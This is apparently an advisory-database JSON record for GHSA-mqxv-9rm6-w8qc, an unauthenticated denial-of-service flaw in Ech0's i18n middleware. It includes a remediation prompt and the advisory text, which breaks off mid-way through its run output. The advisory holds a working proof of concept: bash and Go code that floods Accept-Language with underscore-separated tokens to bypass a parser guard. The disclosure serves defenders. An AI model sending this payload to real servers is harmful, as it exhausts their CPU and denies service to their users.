{"answers":{"affected":"3 open source packages ship an affected version, including github.com/lin-snow/ech0.","exploited":"There is no known exploitation of GHSA-mqxv-9rm6-w8qc in the wild and no public exploit code.","fix":"No fix has been published for GHSA-mqxv-9rm6-w8qc yet. Limit exposure of the affected software until one is available.","what":"GHSA-mqxv-9rm6-w8qc is a denial of service vulnerability in github.com/lin-snow/ech0, published on 14 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-mqxv-9rm6-w8qc and fix it if it is affected.\n\nWhat it is: GHSA-mqxv-9rm6-w8qc is a denial of service vulnerability in github.com/lin-snow/ech0, published on 14 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-mqxv-9rm6-w8qc in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/lin-snow/ech0 (Go): affected all versions; no fix listed\n- github.com/lin-snow/ech0 (Go): affected all versions; no fix listed\n- github.com/lin-snow/ech0 (Go): affected all versions; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-mqxv-9rm6-w8qc/ (Markdown: https://insights.sbomify.com/GHSA-mqxv-9rm6-w8qc/index.md)","id":"GHSA-mqxv-9rm6-w8qc","markdown":"https://insights.sbomify.com/GHSA-mqxv-9rm6-w8qc/index.md","name":"GHSA-mqxv-9rm6-w8qc","record":{"aliases":["GO-2026-5981"],"analysis":{"component_type":"web_application","fix_type":"upgrade","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Go web framework","requires_auth":"none","summary":"Unauthenticated attackers can cause severe CPU exhaustion and denial of service by sending crafted Accept-Language headers to Ech0's i18n middleware.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nEch0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        explicit := explicitLocaleFromRequest(ctx)\n        acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n        locale := systemDefaultLocale()\n        if explicit != \"\" {\n            locale = ResolveLocale(explicit, acceptLanguage)\n        }\n        setLocaleContext(ctx, locale, acceptLanguage)\n        ctx.Next()\n    }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n    if ctx == nil {\n        return\n    }\n    normalized := ResolveLocale(locale)\n    localizer := NewLocalizer(normalized, acceptLanguage)\n    ctx.Set(ContextLocaleKey, normalized)\n    ctx.Set(ContextLocalizerKey, localizer)\n    ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c 'print(\"_abcdefghi\" * 100000, end=\"\")')\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w 'http=%{http_code} t=%{time_total}\\n' \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner's `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires ('-' x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack ('_' x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage '_' bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -\u003e setLocaleContext -\u003e NewLocalizer).\n\nTarget: http://127.0.0.1:18300/   payload=1048576 B\n\n  warm-up                                      header=0 B  '_'=0  '-'=0  status=2","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Ech0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` head","id":"GHSA-mqxv-9rm6-w8qc","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/lin-snow/ech0","purl":null,"source":"GHSA-mqxv-9rm6-w8qc"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/lin-snow/ech0","purl":"pkg:golang/github.com/lin-snow/ech0","source":"GHSA-mqxv-9rm6-w8qc"},{"ecosystem":"Go","fixed":[],"introduced":["0"],"last_affected":[],"package":"github.com/lin-snow/ech0","purl":"pkg:golang/github.com/lin-snow/ech0","source":"GO-2026-5981"}],"products":null,"published":"2026-07-14","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can cause severe CPU exhaustion and denial of service by sending crafted Accept-Language headers to Ech0's i18n middleware.","url":"https://insights.sbomify.com/GHSA-mqxv-9rm6-w8qc/"}